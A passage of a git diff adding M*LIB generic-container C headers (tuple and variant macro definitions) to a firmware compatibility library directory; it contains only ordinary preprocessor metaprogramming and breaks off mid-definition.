+#define M_TUPL3_DEFINE_INIT_MOVE(name, ...)                                   \
+  M_INLINE void M_F(name, _init_move)(M_F(name,_ct) el, M_F(name,_ct) org) {  \
+    M_TUPL3_CONTRACT(el);                                                     \
+    M_MAP(M_TUPL3_DEFINE_INIT_MOVE_FUNC , __VA_ARGS__)                        \
+  }
+
+#define M_TUPL3_DEFINE_INIT_MOVE_FUNC(a)                                      \
+  M_TUPL3_CALL_INIT_MOVE(a, el -> M_TUPL3_GET_FIELD a, org -> M_TUPL3_GET_FIELD a);
+
+
+/* Define a MOVE method by calling the MOVE methods for all params */
+#define M_TUPL3_DEFINE_MOVE(name, ...)                                        \
+ M_P(void, name, _move, M_F(name,_ct) el, M_F(name,_ct) org) {                \
+    M_TUPL3_CONTRACT(el);                                                     \
+    M_UNUSED_CONTEXT();                                                       \
+    M_MAP(M_TUPL3_DEFINE_MOVE_FUNC , __VA_ARGS__)                             \
+ }
+
+#define M_TUPL3_DEFINE_MOVE_FUNC(a)                                           \
+  M_TUPL3_CALL_MOVE(a, el -> M_TUPL3_GET_FIELD a, org -> M_TUPL3_GET_FIELD a);
+
+
+/* Define a SWAP method by calling the SWAP methods for all params */
+#define M_TUPL3_DEFINE_SWAP(name, ...)                                        \
+  M_INLINE void M_F(name, _swap)(M_F(name,_ct) el1, M_F(name,_ct) el2) {      \
+    M_TUPL3_CONTRACT(el1);                                                    \
+    M_TUPL3_CONTRACT(el2);                                                    \
+    M_MAP(M_TUPL3_DEFINE_SWAP_FUNC , __VA_ARGS__)                             \
+  }
+
+#define M_TUPL3_DEFINE_SWAP_FUNC(a)                                           \
+  M_TUPL3_CALL_SWAP(a, el1 -> M_TUPL3_GET_FIELD a, el2 -> M_TUPL3_GET_FIELD a);
+
+
+/* Define a RESET method by calling the RESET methods for all params */
+#define M_TUPL3_DEFINE_RESET(name, ...)                                       \
+  M_P(void, name, _reset, M_F(name,_ct) el1) {                                \
+    M_TUPL3_CONTRACT(el1);                                                    \
+    M_UNUSED_CONTEXT();                                                       \
+    M_MAP(M_TUPL3_DEFINE_RESET_FUNC , __VA_ARGS__)                            \
+  }                                                                           \
+
+#define M_TUPL3_DEFINE_RESET_FUNC(a)                                          \
+  M_TUPL3_CALL_RESET(a, el1 -> M_TUPL3_GET_FIELD a);
+
+
+/********************************** INTERNAL *********************************/
+
+/* INIT_WITH macro enabling recursive INIT_WITH initialization
+    tuple = { int, m_string_t, array<m_string_t> }
+  USAGE:
+    M_LET( (x, 2, ("John"), ( ("Bear"), ("Rabbit") )), tuple_t)
+
+  "If you think it's simple, you're deluding yourself."
+
+  Several pass are done:
+  1) If the number of arguments doesn't match the number of oplists of the 
+  tuple oplist, it is assumed something is wrong. It uses the _init_emplace
+  function to provide proper warning in such case.
+  2) Otherwise, it checks that the number of arguments matches the number
+  of arguments of the tuple definition.
+  3) Mix all arguments with their associated oplists to have pair (arg, oplist),
+  4) Map the following macro for each computed pair :
+  4.a) If INIT_WITH macro is not defined for this pair, it uses INIT_SET
+  4.b) If the argument is encapsulated with parenthesis, it uses INIT_WITH
+  4.c) If the oplist property LET_AS_INIT_WITH is defined, it uses INIT_WITH
+  4.d) Otherwise it uses INIT_SET.
+*/
+#define M_TUPL3_INIT_WITH(oplist, dest, ...)                                  \
+  M_TUPL3_INIT_WITH_P1(M_GET_NAME oplist, M_GET_OPLIST oplist, dest, __VA_ARGS__)
+#define M_TUPL3_INIT_WITH_P1(name, oplist_arglist, dest, ...)                 \
+  M_IF(M_NOTEQUAL( M_NARGS oplist_arglist, M_NARGS (__VA_ARGS__)))            \
+    (M_TUPL3_INIT_WITH_P1_FUNC, M_TUPL3_INIT_WITH_P1_MACRO)(name, oplist_arglist, dest, __VA_ARGS__)
+#define M_TUPL3_INIT_WITH_P1_FUNC(name, oplist_arglist, dest, ...)            \
+  M_F(name, _init_emplace)(dest, __VA_ARGS__)
+#define M_TUPL3_INIT_WITH_P1_MACRO(name, oplist_arglist, dest, ...)           \
+  ( M_STATIC_ASSERT( M_NARGS oplist_arglist == M_C3(m_tupl3_, name, _num_args), M_LIB_DIMENSION_ERROR, "The number of oplists given to TUPLE_OPLIST don't match the number of oplists used to create the tuple." ), \
+    M_STATIC_ASSERT( M_NARGS(__VA_ARGS__) == M_C3(m_tupl3_, name, _num_args), M_LIB_DIMENSION_ERROR, "Missing / Too many arguments for tuple"), \
+    M_MAP3(M_TUPL3_INIT_WITH_P2, (name, dest), M_OPFLAT M_MERGE_ARGLIST( oplist_arglist, (__VA_ARGS__) ) ) \
+    (void) 0)
+#define M_TUPL3_INIT_WITH_P2(name_dest, num, pair)                            \
+    M_TUPL3_INIT_WITH_P3( M_PAIR_1 name_dest, M_PAIR_2 name_dest, num, M_PAIR_1 pair, M_PAIR_2 pair )
+#define M_TUPL3_INIT_WITH_P3(name, dest, num, oplist, param)                  \
+  M_IF(M_TEST_METHOD_P(INIT_WITH, oplist))(M_TUPL3_INIT_WITH_P4, M_TUPL3_INIT_WITH_SET)(name, dest, num, oplist, param)
+#define M_TUPL3_INIT_WITH_SET(name, dest, num, oplist, param)                 \
+  M_CALL_INIT_SET (oplist, *M_C4(m_tupl3_, name, _get_at_, num)(dest), param) ,
+#define M_TUPL3_INIT_WITH_P4(name, dest, num, oplist, param)                  \
+  M_IF(M_PARENTHESIS_P( param))(M_TUPL3_INIT_WITH_P5, M_TUPL3_INIT_WITH_P6)(name, dest, num, oplist, param)
+#define M_TUPL3_INIT_WITH_P5(name, dest, num, oplist, param)                  \
+  M_CALL_INIT_WITH(oplist, *M_C4(m_tupl3_, name, _get_at_, num)(dest), M_REMOVE_PARENTHESIS (param) ) ,
+#define M_TUPL3_INIT_WITH_P6(name, dest, num, oplist, param)                  \
+  M_IF(M_GET_PROPERTY(oplist, LET_AS_INIT_WITH))(M_TUPL3_INIT_WITH_P5, M_TUPL3_INIT_WITH_SET)(name, dest, num, oplist, param)
+
+/* Macros for testing for the presence of a method in the parameter (name, type, oplist) */
+#define M_TUPL3_TEST_METHOD_P(method, trio)                                   \
+  M_APPLY(M_TUPL3_TEST_METHOD2_P, method, M_OPFLAT trio)
+
+#define M_TUPL3_TEST_METHOD2_P(method, f, t, op)                              \
+  M_TEST_METHOD_P(method, op)
+
+
+/********************************** INTERNAL *********************************/
+
+/* Macros for testing for the presence of a method in all the params */
+#define M_TUPL3_IF_ALL(method, ...)                                           \
+  M_IF(M_REDUCE2(M_TUPL3_TEST_METHOD_P, M_AND, method, __VA_ARGS__))
+
+/* Macros for testing for the presence of a method in at least one params */
+#define M_TUPL3_IF_ONE(method, ...)                                           \
+  M_IF(M_REDUCE2(M_TUPL3_TEST_METHOD_P, M_OR, method, __VA_ARGS__))
+
+// deferred evaluation
+#define M_TUPL3_OPLIST_P1(arg) M_TUPL3_OPLIST_P2 arg
+
+/* Validate the oplist before going further */
+#define M_TUPL3_OPLIST_P2(name, ...)                                          \
+  M_IF(M_REDUCE(M_OPLIST_P, M_AND, __VA_ARGS__))(M_TUPL3_OPLIST_P3, M_TUPL3_OPLIST_FAILURE)(name, __VA_ARGS__)
+
+/* Prepare a clean compilation failure */
+#define M_TUPL3_OPLIST_FAILURE(name, ...)                                     \
+  ((M_LIB_ERROR(ONE_ARGUMENT_OF_M_TUPL3_OPLIST_IS_NOT_AN_OPLIST, name, __VA_ARGS__)))
+
+/* Define the TUPLE oplist */
+#ifndef M_USE_CONTEXT
+#define M_TUPL3_OPLIST_P3(name, ...)                                          \
+  (M_IF_METHOD_ALL(INIT, __VA_ARGS__)(INIT(M_F(name,_init)),),                \
+   INIT_SET(M_F(name, _init_set)),                                            \
+   INIT_WITH(API_1(M_TUPL3_INIT_WITH)),                                       \
+   SET(M_F(name,_set)),                                                       \
+   CLEAR(M_F(name, _clear)),                                                  \
+   NAME(name),                                                                \
+   TYPE(M_F(name,_ct)), GENTYPE(struct M_F(name,_s)*),                        \
+   OPLIST( (__VA_ARGS__) ),                                                   \
+   M_IF_METHOD_ALL(CMP, __VA_ARGS__)(CMP(M_F(name, _cmp)),),                  \
+   M_IF_METHOD_ALL(HASH, __VA_ARGS__)(HASH(M_F(name, _hash)),),               \
+   M_IF_METHOD_ALL(EQUAL, __VA_ARGS__)(EQUAL(M_F(name, _equal_p)),),          \
+   M_IF_METHOD_ALL(GET_STR, __VA_ARGS__)(GET_STR(M_F(name, _get_str)),),      \
+   M_IF_METHOD_ALL(PARSE_STR, __VA_ARGS__)(PARSE_STR(M_F(name, _parse_str)),), \
+   M_IF_METHOD_ALL(IN_STR, __VA_ARGS__)(IN_STR(M_F(name, _in_str)),),         \
+   M_IF_METHOD_ALL(OUT_STR, __VA_ARGS__)(OUT_STR(M_F(name, _out_str)),),      \
+   M_IF_METHOD_ALL(IN_SERIAL, __VA_ARGS__)(IN_SERIAL(M_F(name, _in_serial)),), \
+   M_IF_METHOD_ALL(OUT_SERIAL, __VA_ARGS__)(OUT_SERIAL(M_F(name, _out_serial)),), \
+   M_IF_METHOD_ALL(INIT_MOVE, __VA_ARGS__)(INIT_MOVE(M_F(name, _init_move)),), \
+   M_IF_METHOD_ALL(MOVE, __VA_ARGS__)(MOVE(M_F(name, _move)),),               \
+   M_IF_METHOD_ALL(SWAP, __VA_ARGS__)(SWAP(M_F(name, _swap)),),               \
+   M_IF_METHOD_ALL(RESET, __VA_ARGS__)(RESET(M_F(name, _reset)),),            \
+   EMPLACE_TYPE( ( M_REDUCE2(M_TUPL3_OPLIST_SUBTYPE, M_ID, name, M_SEQ(1, M_NARGS(__VA_ARGS__))) ) ) \
+   )
+#else
+#define M_TUPL3_OPLIST_P3(name, ...)                                          \
+  (M_IF_METHOD_ALL(INIT, __VA_ARGS__)(API_0P(INIT(M_F(name,_init))),),        \
+   INIT_SET(API_0P(M_F(name, _init_set))),                                    \
+   INIT_WITH(API_1(M_TUPL3_INIT_WITH)),                                       \
+   SET(API_0P(M_F(name,_set))),                                               \
+   CLEAR(API_0P(M_F(name, _clear))),                                          \
+   NAME(name), TYPE(M_F(name,_ct)), GENTYPE(struct M_F(name,_s)*),            \
+   OPLIST( (__VA_ARGS__) ),                                                   \
+   M_IF_METHOD_ALL(CMP, __VA_ARGS__)(CMP(M_F(name, _cmp)),),                  \
+   M_IF_METHOD_ALL(HASH, __VA_ARGS__)(HASH(M_F(name, _hash)),),               \
+   M_IF_METHOD_ALL(EQUAL, __VA_ARGS__)(EQUAL(M_F(name, _equal_p)),),          \
+   M_IF_METHOD_ALL(GET_STR, __VA_ARGS__)(GET_STR(API_0P(M_F(name, _get_str))),), \
+   M_IF_METHOD_ALL(PARSE_STR, __VA_ARGS__)(PARSE_STR(API_0P(M_F(name, _parse_str))),), \
+   M_IF_METHOD_ALL(IN_STR, __VA_ARGS__)(IN_STR(API_0P(M_F(name, _in_str))),), \
+   M_IF_METHOD_ALL(OUT_STR, __VA_ARGS__)(OUT_STR(M_F(name, _out_str)),),      \
+   M_IF_METHOD_ALL(IN_SERIAL, __VA_ARGS__)(IN_SERIAL(API_0P(M_F(name, _in_serial))),), \
+   M_IF_METHOD_ALL(OUT_SERIAL, __VA_ARGS__)(OUT_SERIAL(API_0P(M_F(name, _out_serial))),), \
+   M_IF_METHOD_ALL(INIT_MOVE, __VA_ARGS__)(INIT_MOVE(M_F(name, _init_move)),), \
+   M_IF_METHOD_ALL(MOVE, __VA_ARGS__)(MOVE(API_0P(M_F(name, _move))),),       \
+   M_IF_METHOD_ALL(SWAP, __VA_ARGS__)(SWAP(M_F(name, _swap)),),               \
+   M_IF_METHOD_ALL(RESET, __VA_ARGS__)(RESET(API_0P(M_F(name, _reset))),),    \
+   EMPLACE_TYPE( ( M_REDUCE2(M_TUPL3_OPLIST_SUBTYPE, M_ID, name, M_SEQ(1, M_NARGS(__VA_ARGS__))) ) ) \
+   )
+#endif
+
+/* Support for EMPLACE_TYPE in OPLIST. It refers the created internal type alias */
+#define M_TUPL3_OPLIST_SUBTYPE(name, num)                                     \
+    M_C4(name, _type_, num, _ct)
+
+/********************************** INTERNAL *********************************/
+
+#if M_USE_SMALL_NAME
+#define TUPLE_DEF2 M_TUPLE_DEF2
+#define TUPLE_DEF2_AS M_TUPLE_DEF2_AS
+#define TUPLE_OPLIST M_TUPLE_OPLIST
+#define TUPLE_ORDER M_TUPLE_ORDER
+#endif
+
+#endif
diff --git a/lib/subghz_unleashed_compat/include/mlib/m-variant.h b/lib/subghz_unleashed_compat/include/mlib/m-variant.h
new file mode 100644
index 000000000..12b07b198
--- /dev/null
+++ b/lib/subghz_unleashed_compat/include/mlib/m-variant.h
@@ -0,0 +1,889 @@
+/*
+ * M*LIB - VARIANT module
+ *
+ * Copyright (c) 2017-2026, Patrick Pelissier
+ * All rights reserved.
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ * + Redistributions of source code must retain the above copyright
+ *   notice, this list of conditions and the following disclaimer.
+ * + Redistributions in binary form must reproduce the above copyright
+ *   notice, this list of conditions and the following disclaimer in the
+ *   documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND ANY
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
+ * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE REGENTS AND CONTRIBUTORS BE LIABLE FOR ANY
+ * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+ * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
+ * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
+ * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
+ * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+*/
+#ifndef MSTARLIB_VARIANT_H
+#define MSTARLIB_VARIANT_H
+
+#include "m-core.h"
+
+/* Define the variant type and functions.
+   USAGE:
+     VARIANT_DEF2(name, [(field1, type1, oplist1), (field2, type2, oplist2), ...] ) */
+#define M_VARIANT_DEF2(name, ...)                                             \
+  M_VARIANT_DEF2_AS(name, M_F(name,_t), __VA_ARGS__)
+
+
+/* Define the variant type and functions
+  as the given name_t
+   USAGE:
+     VARIANT_DEF2_AS(name, name_t, [(field1, type1, oplist1), (field2, type2, oplist2), ...] ) */
+#define M_VARIANT_DEF2_AS(name, name_t, ...)                                  \
+  M_BEGIN_PROTECTED_CODE                                                      \
+  M_VAR1ANT_DEF2_P1( (name, name_t M_VAR1ANT_INJECT_GLOBAL(__VA_ARGS__)) )    \
+  M_END_PROTECTED_CODE
+
+
+/* Define the oplist of a variant.
+   USAGE: VARIANT_OPLIST(name[, oplist of the first type, ...]) */
+#define M_VARIANT_OPLIST(...)                                                 \
+  M_IF_NARGS_EQ1(__VA_ARGS__)                                                 \
+  (M_VAR1ANT_OPLIST_P1((__VA_ARGS__, M_BASIC_OPLIST)),                        \
+   M_VAR1ANT_OPLIST_P1((__VA_ARGS__ )))
+
+
+/*****************************************************************************/
+/********************************** INTERNAL *********************************/
+/*****************************************************************************/
+
+/* Contract of a variant. */
+#define M_VAR1ANT_CONTRACT(name, my) do {                                     \
+  M_ASSERT(my != NULL);                                                       \
+  M_ASSERT(my->type >= M_F(name, _EMPTY));                                    \
+  M_ASSERT(my->type <= (enum M_F(name, _enum)) M_F(name, _MAX_TYPE));         \
+} while (0)
+
+/* Inject the oplist within the list of arguments */
+#define M_VAR1ANT_INJECT_GLOBAL(...)                                          \
+  M_MAP(M_VAR1ANT_INJECT_OPLIST_A, __VA_ARGS__)
+
+/* Transform (x, type) into (x, type, oplist) if there is global registered oplist 
+   or (x, type, M_BASIC_OPLIST) if there is no global one,
+   or keep (x, type, oplist) if oplist was already present */
+#define M_VAR1ANT_INJECT_OPLIST_A( duo_or_trio )                              \
+  M_VAR1ANT_INJECT_OPLIST_B duo_or_trio
+
+#define M_VAR1ANT_INJECT_OPLIST_B( f, ... )                                   \
+  M_DEFERRED_COMMA                                                            \
+  M_IF_NARGS_EQ1(__VA_ARGS__)( (f, __VA_ARGS__, M_GLOBAL_OPLIST_OR_DEF(__VA_ARGS__)()), (f, __VA_ARGS__) )
+
+// Deferred evaluation
+#define M_VAR1ANT_DEF2_P1(...)            M_ID( M_VAR1ANT_DEF2_P2 __VA_ARGS__ )
+
+// Test if all third argument of all arguments is an oplist
+#define M_VAR1ANT_IF_ALL_OPLIST(...)                                          \
+  M_IF(M_REDUCE(M_VAR1ANT_IS_OPLIST_P, M_AND, __VA_ARGS__))
+
+// Test if the third argument is an oplist
+#define M_VAR1ANT_IS_OPLIST_P(a)                                              \
+  M_OPLIST_P(M_RET_ARG3 a)
+
+/* Validate the oplist before going further */
+#define M_VAR1ANT_DEF2_P2(name, name_t, ...)                                  \
+  M_VAR1ANT_IF_ALL_OPLIST(__VA_ARGS__)(M_VAR1ANT_DEF2_P3, M_VAR1ANT_DEF2_FAILURE)(name, name_t, __VA_ARGS__)
+
+/* Stop processing with a compilation failure */
+#define M_VAR1ANT_DEF2_FAILURE(name, name_t, ...)                             \
+  M_STATIC_FAILURE(M_LIB_NOT_AN_OPLIST, "(VARIANT_DEF2): at least one of the given argument is not a valid oplist: " #__VA_ARGS__)
+
+/* Define the variant */
+#define M_VAR1ANT_DEF2_P3(name, name_t, ...)                                  \
+  M_VAR1ANT_DEFINE_TYPE(name, name_t, __VA_ARGS__)                            \
+  M_VAR1ANT_CONTROL_ALL_OPLIST(name, __VA_ARGS__)                             \
+  M_VAR1ANT_DEFINE_INIT(name, __VA_ARGS__)                                    \
+  M_VAR1ANT_DEFINE_CLEAR(name, __VA_ARGS__)                                   \
+  M_VAR1ANT_DEFINE_INIT_SET(name, __VA_ARGS__)                                \
+  M_VAR1ANT_DEFINE_SET(name, __VA_ARGS__)                                     \
+  M_VAR1ANT_DEFINE_EMPLACE(name, __VA_ARGS__)                                 \
+  M_VAR1ANT_DEFINE_TEST_P(name, __VA_ARGS__)                                  \
+  M_VAR1ANT_IF_ALL(INIT, __VA_ARGS__)(M_VAR1ANT_DEFINE_INIT_FIELD, M_EAT)(name, __VA_ARGS__) \
+  M_VAR1ANT_DEFINE_INIT_SETTER_FIELD(name, __VA_ARGS__)                       \
+  M_VAR1ANT_DEFINE_SETTER_FIELD(name, __VA_ARGS__)                            \
+  M_VAR1ANT_DEFINE_GETTER_FIELD(name, __VA_ARGS__)                            \
+  M_VAR1ANT_DEFINE_RESET_FUNC(name, __VA_ARGS__)                              \
+  M_VAR1ANT_IF_ALL(HASH, __VA_ARGS__)(M_VAR1ANT_DEFINE_HASH, M_EAT)(name, __VA_ARGS__) \
+  M_VAR1ANT_IF_ALL(EQUAL, __VA_ARGS__)(M_VAR1ANT_DEFINE_EQUAL, M_EAT)(name, __VA_ARGS__) \
+  M_VAR1ANT_IF_ALL(GET_STR, __VA_ARGS__)(M_VAR1ANT_DEFINE_GET_STR, M_EAT)(name, __VA_ARGS__) \
+  M_VAR1ANT_IF_ALL2(PARSE_STR, INIT, __VA_ARGS__)(M_VAR1ANT_DEFINE_PARSE_STR, M_EAT)(name, __VA_ARGS__) \
+  M_VAR1ANT_IF_ALL(OUT_STR, __VA_ARGS__)(M_VAR1ANT_DEFINE_OUT_STR, M_EAT)(name, __VA_ARGS__) \
+  M_VAR1ANT_IF_ALL2(IN_STR, INIT, __VA_ARGS__)(M_VAR1ANT_DEFINE_IN_STR, M_EAT)(name, __VA_ARGS__) \
+  M_VAR1ANT_IF_ALL(OUT_SERIAL, __VA_ARGS__)(M_VAR1ANT_DEFINE_OUT_SERIAL, M_EAT)(name, __VA_ARGS__) \
+  M_VAR1ANT_IF_ALL2(IN_SERIAL, INIT, __VA_ARGS__)(M_VAR1ANT_DEFINE_IN_SERIAL, M_EAT)(name, __VA_ARGS__) \
+  M_VAR1ANT_IF_ALL(INIT_MOVE, __VA_ARGS__)(M_VAR1ANT_DEFINE_INIT_MOVE, M_EAT)(name, __VA_ARGS__) \
+  M_VAR1ANT_IF_ALL(INIT_MOVE, __VA_ARGS__)(M_VAR1ANT_DEFINE_MOVE, M_EAT)(name, __VA_ARGS__) \
+  M_VAR1ANT_IF_ALL(INIT_MOVE, __VA_ARGS__)(M_VAR1ANT_DEFINE_MOVER, M_EAT)(name, __VA_ARGS__) \
+  M_VAR1ANT_IF_ALL(SWAP, __VA_ARGS__)(M_VAR1ANT_DEFINE_SWAP, M_EAT)(name, __VA_ARGS__)
+
+
+/* Get the field name, the type, the oplist or the methods
+   based on the variant (field, type, oplist) */
+#define M_VAR1ANT_GET_FIELD(f,t,o)    f
+#define M_VAR1ANT_GET_TYPE(f,t,o)     t
+#define M_VAR1ANT_GET_OPLIST(f,t,o)   o
+#define M_VAR1ANT_GET_INIT(f,t,o)     M_GET_INIT o
+#define M_VAR1ANT_GET_INIT_SET(f,t,o) M_GET_INIT_SET o
+#define M_VAR1ANT_GET_INIT_MOVE(f,t,o) M_GET_INIT_MOVE o
+#define M_VAR1ANT_GET_MOVE(f,t,o)     M_GET_MOVE o
+#define M_VAR1ANT_GET_SET(f,t,o)      M_GET_SET o
+#define M_VAR1ANT_GET_CLEAR(f,t,o)    M_GET_CLEAR o
+#define M_VAR1ANT_GET_CMP(f,t,o)      M_GET_CMP o
+#define M_VAR1ANT_GET_HASH(f,t,o)     M_GET_HASH o
+#define M_VAR1ANT_GET_EQUAL(f,t,o)    M_GET_EQUAL o
+#define M_VAR1ANT_GET_STR(f,t,o)      M_GET_GET_STR o
+#define M_VAR1ANT_GET_PARSE_STR(f,t,o) M_GET_PARSE_STR o
+#define M_VAR1ANT_GET_OUT_STR(f,t,o)  M_GET_OUT_STR o
+#define M_VAR1ANT_GET_IN_STR(f,t,o)   M_GET_IN_STR o
+#define M_VAR1ANT_GET_OUT_SERIAL(f,t,o) M_GET_OUT_SERIAL o
+#define M_VAR1ANT_GET_IN_SERIAL(f,t,o)  M_GET_IN_SERIAL o
+#define M_VAR1ANT_GET_SWAP(f,t,o)     M_GET_SWAP o
+
+/* Call the methods through API */
+#define M_VAR1ANT_CALL_INIT(t, ...)       M_APPLY_API(M_VAR1ANT_GET_INIT t,  M_VAR1ANT_GET_OPLIST t, __VA_ARGS__)
+#define M_VAR1ANT_CALL_INIT_SET(t, ...)   M_APPLY_API(M_VAR1ANT_GET_INIT_SET t,  M_VAR1ANT_GET_OPLIST t, __VA_ARGS__)
+#define M_VAR1ANT_CALL_INIT_MOVE(t, ...)  M_APPLY_API(M_VAR1ANT_GET_INIT_MOVE t,  M_VAR1ANT_GET_OPLIST t, __VA_ARGS__)
+#define M_VAR1ANT_CALL_MOVE(t, ...)       M_APPLY_API(M_VAR1ANT_GET_MOVE t,  M_VAR1ANT_GET_OPLIST t, __VA_ARGS__)
+#define M_VAR1ANT_CALL_SET(t, ...)        M_APPLY_API(M_VAR1ANT_GET_SET t,   M_VAR1ANT_GET_OPLIST t, __VA_ARGS__)
+#define M_VAR1ANT_CALL_CLEAR(t, ...)      M_APPLY_API(M_VAR1ANT_GET_CLEAR t, M_VAR1ANT_GET_OPLIST t, __VA_ARGS__)
+#define M_VAR1ANT_CALL_CMP(t, ...)        M_APPLY_API(M_VAR1ANT_GET_CMP t,   M_VAR1ANT_GET_OPLIST t, __VA_ARGS__)
+#define M_VAR1ANT_CALL_HASH(t, ...)       M_APPLY_API(M_VAR1ANT_GET_HASH t,  M_VAR1ANT_GET_OPLIST t, __VA_ARGS__)
+#define M_VAR1ANT_CALL_EQUAL(t, ...)      M_APPLY_API(M_VAR1ANT_GET_EQUAL t, M_VAR1ANT_GET_OPLIST t, __VA_ARGS__)
+#define M_VAR1ANT_CALL_GET_STR(t, ...)    M_APPLY_API(M_VAR1ANT_GET_STR t,   M_VAR1ANT_GET_OPLIST t, __VA_ARGS__)
+#define M_VAR1ANT_CALL_PARSE_STR(t, ...)  M_APPLY_API(M_VAR1ANT_GET_PARSE_STR t, M_VAR1ANT_GET_OPLIST t, __VA_ARGS__)
+#define M_VAR1ANT_CALL_OUT_STR(t, ...)    M_APPLY_API(M_VAR1ANT_GET_OUT_STR t, M_VAR1ANT_GET_OPLIST t, __VA_ARGS__)
+#define M_VAR1ANT_CALL_IN_STR(t, ...)     M_APPLY_API(M_VAR1ANT_GET_IN_STR t, M_VAR1ANT_GET_OPLIST t, __VA_ARGS__)
+#define M_VAR1ANT_CALL_OUT_SERIAL(t, ...) M_APPLY_API(M_VAR1ANT_GET_OUT_SERIAL t, M_VAR1ANT_GET_OPLIST t, __VA_ARGS__)
+#define M_VAR1ANT_CALL_IN_SERIAL(t, ...)  M_APPLY_API(M_VAR1ANT_GET_IN_SERIAL t, M_VAR1ANT_GET_OPLIST t, __VA_ARGS__)
+#define M_VAR1ANT_CALL_SWAP(t, ...)       M_APPLY_API(M_VAR1ANT_GET_SWAP t,  M_VAR1ANT_GET_OPLIST t, __VA_ARGS__)
+
+/* Define the type */
+#define M_VAR1ANT_DEFINE_TYPE(name, name_t, ...)                              \
+  /* Define enum of all types of the variant */                               \
+  enum M_F(name, _enum) { M_F(name, _EMPTY)                                   \
+      M_MAP2(M_VAR1ANT_DEFINE_UNION_ELE, name, __VA_ARGS__)                   \
+  };                                                                          \
+  /* Define enum equal to the number of types of the variant */               \
+  enum M_F(name, _enum_max) {                                                 \
+    M_F(name, _MAX_TYPE) = M_NARGS(__VA_ARGS__)                               \
+  };                                                                          \
+  /* Define the variant */                                                    \
+  typedef struct M_F(name, _s) *M_F(name, _ptr);                              \
+  typedef const struct M_F(name, _s) *M_F(name, _srcptr);                     \
+  typedef struct M_F(name, _s) {                                              \
+    enum M_F(name, _enum) type;                                               \
+    union {                                                                   \
+      M_MAP(M_VAR1ANT_DEFINE_TYPE_ELE , __VA_ARGS__)                          \
+    } value;                                                                  \
+  } name_t[1];                                                                \
+                                                                              \
+  /* Define internal type for oplist */                                       \
+  typedef name_t M_F(name, _ct);                                              \
+  /* Save alias for the types of arguments */                                 \
+  M_MAP3(M_VAR1ANT_DEFINE_GENTYPE_ELE, name, __VA_ARGS__)
+
+#define M_VAR1ANT_DEFINE_GENTYPE_ELE(name, num, a)                            \
+  typedef                                                                     \
+  M_IF_METHOD(GENTYPE, M_VAR1ANT_GET_OPLIST a)( M_GET_GENTYPE M_VAR1ANT_GET_OPLIST a, M_VAR1ANT_GET_TYPE a) \
+  M_C4(m_var1ant_, name, _gentype_, num);                                     \
+  typedef                                                                     \
+  M_IF_METHOD(GENTYPE, M_VAR1ANT_GET_OPLIST a)( const M_GET_GENTYPE M_VAR1ANT_GET_OPLIST a, M_VAR1ANT_GET_TYPE a const) \
+  M_C4(m_var1ant_, name, _const_gentype_, num);                               \
+  typedef M_VAR1ANT_GET_TYPE a M_C4(m_var1ant_, name, _type_, M_VAR1ANT_GET_FIELD a);
+
+#define M_VAR1ANT_DEFINE_UNION_ELE(name, a)                                   \
+  , M_C4(name, _, M_VAR1ANT_GET_FIELD a, _value)
+
+#define M_VAR1ANT_DEFINE_TYPE_ELE(a)                                          \
+  M_VAR1ANT_GET_TYPE a M_VAR1ANT_GET_FIELD a ;
+
+
+/* Control that all given oplists of all parameters are really oplists */
+#define M_VAR1ANT_CONTROL_ALL_OPLIST(name, ...)                               \
+  M_MAP2(M_VAR1ANT_CONTROL_OPLIST, name, __VA_ARGS__)
+
+#define M_VAR1ANT_CONTROL_OPLIST(name, a)                                     \
+  M_CHECK_COMPATIBLE_OPLIST(name, M_VAR1ANT_GET_FIELD a,                      \
+                            M_VAR1ANT_GET_TYPE a, M_VAR1ANT_GET_OPLIST a)
+
+
+/* Define the INIT function. Init the variant to empty */
+#define M_VAR1ANT_DEFINE_INIT(name, ...)                                      \
+  M_INLINE void M_F(name, _init)(M_F(name,_ct) my) {                          \
+    my->type = M_F(name, _EMPTY);                                             \
+  }
+
+
+/* Define the INIT_SET function. */
+#define M_VAR1ANT_DEFINE_INIT_SET(name, ...)                                  \
+  M_P(void, name, _init_set, M_F(name,_ct) my, M_F(name,_ct) const org)       \
+  {                                                                           \
+    M_VAR1ANT_CONTRACT(name, org);                                            \
+    M_UNUSED_CONTEXT();                                                       \
+    my->type = org->type;                                                     \
+    switch (org->type) {                                                      \
+      M_MAP2(M_VAR1ANT_DEFINE_INIT_SET_FUNC, name, __VA_ARGS__)               \
+      case M_F(name, _EMPTY): /* fallthrough */                               \
+      default: M_ASSUME(org->type == M_F(name, _EMPTY)); break;               \
+    }                                                                         \
+    M_VAR1ANT_CONTRACT(name, my);                                             \
+  }
+
+#define M_VAR1ANT_DEFINE_INIT_SET_FUNC(name, a)                               \
+  case M_C4(name, _, M_VAR1ANT_GET_FIELD a, _value):                          \
+  M_VAR1ANT_CALL_INIT_SET(a, my -> value. M_VAR1ANT_GET_FIELD a ,             \
+                         org -> value.M_VAR1ANT_GET_FIELD a );                \
+  break;
+
+
+/* Define the SET function. */
+#define M_VAR1ANT_DEFINE_SET(name, ...)                                       \
+  M_P(void, name, _set, M_F(name,_ct) my, M_F(name,_ct) const org)            \
+  {                                                                           \
+    M_VAR1ANT_CONTRACT(name, my);                                             \
+    M_VAR1ANT_CONTRACT(name, org);                                            \
+    if (my->type != org->type) {                                              \
+      /* Different types: clear previous one and create new */                \
+      M_F(name, _clear)M_R(my);                                               \
+      M_F(name, _init_set)M_R(my, org);                                       \
+    } else {                                                                  \
+      /* Same type: optimize the set */                                       \
